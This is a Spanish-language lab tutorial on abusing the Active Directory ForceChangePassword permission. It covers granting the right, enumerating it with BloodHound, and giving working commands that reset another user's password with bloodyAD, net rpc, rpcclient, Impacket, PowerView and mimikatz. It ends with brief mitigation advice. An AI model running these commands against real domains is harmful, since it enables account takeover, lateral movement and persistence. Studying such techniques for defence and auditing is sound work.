Abusando del permiso ForceChangePassword

En este artículo vamos a ver cómo configurar y abusar del permiso AD-DACL ForceChangePassword en entornos Active Directory.

ForceChangePassword es un permiso que permite cambiar la contraseña de un usuario sin conocer la contraseña actual, algo que normalmente está restringido a administradores. Si un atacante logra este derecho sobre un objeto de usuario, puede secuestrar la cuenta directamente, obteniendo acceso persistente y facilitando movimientos laterales dentro del dominio.

Configuración del laboratorio

Creación de usuarios

Para llevar a cabo la demostración, creamos dos usuarios:

net user ian Password123! /add /domain
net user tom Password123! /add /domain

Creación de cuentas de usuario

Asignando el permiso ForceChangePassword al usuario ian sobre tom

Desde la sección de Active Directory Users and Computers en el controlador de dominio, habilitamos la vista de Advanced Features (Caraterísticas avanzadas).

Habilitando características avanzadas

A continuación, accedemos a las propiedades del usuario tom, haciendo clic derecho sobre este objeto y luego en Properties.

Propiedades del usuario tom

Luego, accedemos a la pestaña Security.

Acceso a la pestaña Security

Hacemos clic en el botón Add y en el cuadro de texto escribimos el nombre de ian y damos clic en Check names y por último en Ok.

Acceso a la pestaña Security

Agrega al usuario ian

A continuación, seleccionamos el usuario ian y en la sección de Permissions for ian marcamos la casilla Reset password:

Asiganción del permiso reset password

Por último, hacemos clic en Apply y luego en Ok para guardar los cambios.

Enumeración

Bloodhound

Como siempre, comenzamos realizando una enumeración utilizando bloodhound-python y Bloodhound para tener conocer y enumerar el entorno al cual nos enfrentamos.

bloodhound-python -d zonahacking.local -ns 192.168.56.100 -u ian -p Password123! -c all --zip

Enumeración utilizando bloodhound-python

Bloodhound - El usuario ian tiene el privilegio ForceChangePassword sobre tom

De esta forma, podemos observar que efectivamente el usuario ian tiene el privilegio ForceChangePassword sobre el usuario tom.

Explotación

Para poder abusar de este permiso existen una variedad de herramientas que podemos utilizar desde sistemas Linux como Windows.

BloodyAD

En primer lugar, podemos realizar cambios de contraseña utilizando la herramienta bloodyAD.

bloodyAD -H 192.168.56.100  -d zonahacking.local -u ian -p 'Password123!' set password 'tom' 'SuperS3cretPa$$w0rd!$'

Explotación utilizando BloodyAD

Net RPC - Samba

Por otra parte, podemos usar la herramienta net, una herramienta para la administración de clientes Samba y CIFS/SMB , en sistemas tipo UNIX.

net rpc password tom 'SuperSecretPasssword213$!' -U zonahacking.local/ian%'Password123!' -S 192.168.56.100

Explotación utilizando net rpc

Net RPC - Rpcclient

Otra forma de abusar de este privilegio desde Linux es usando rpcclient:

 rpcclient -U ian 192.168.56.100
Password for [WORKGROUP\ian]:
rpcclient $> setuserinfo tom 23 SuperPassword123#!
rpcclient $> 

Explotación utilizando rpcclient

impacket-changepassword

Otra herramienta interesante dentro de Linux es el script changepassword presente en la suite de Impacket.

impacket-changepasswd zonahacking.local/tom@192.168.56.100 -newpass 'qwerty$123' -altuser zonahacking.local/ian -altpass Password123! -reset

Explotación utilizando impacket-changepassword

Windows - PowerShell - PowerView

Para abusar de este privilegio desde Windows, podemos usar el módulo de PowerView, el cual cuenta con el cmdlet Set-DomainUserPassword:

powershell -ep bypass
import-module .\PowerView.ps1
$newTomPass = ConvertTo-SecureString 'Pa$$w0rd321!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'tom' -AccountPassword $newTomPass

Explotación utilizando PowerView

Windows - Mimikatz

Por último, otra alternativa es utilizar mimikatz. Mimikatz puede establecer directamente un nuevo hash NTLM para la cuenta de un usuario sin requerir la contraseña actual de la siguiente forma:

.\mimikatz.exe "lsadump::setntlm /server:zonahacking.local /user:tom /password:SuperPass_2026!" exit

Explotación utilizando Mimikatz

En conclusión, comprender y mitigar el abuso de ForceChangePassword en Active Directory es fundamental para reducir el riesgo de compromiso de cuentas privilegiadas, ya que este permiso permite a un atacante cambiar contraseñas sin conocer la credencial actual. Una mala delegación de este derecho puede facilitar el movimiento lateral, la persistencia y, en escenarios más graves, la escalada de privilegios dentro del dominio. Auditar periódicamente los permisos sobre objetos de usuario, aplicar el principio de mínimo privilegio y monitorear cambios de contraseñas anómalos son medidas clave para detectar y prevenir este tipo de abusos antes de que deriven en un compromiso total del entorno.

De esta manera llegamos al final del artículo.

Espero que el contenido te haya resultado interesante y, sobre todo, útil para comprender cómo el abuso de ForceChangePassword puede impactar la seguridad de un entorno Active Directory.

Gracias por leer y por llegar hasta aquí.

¡Happy Hacking!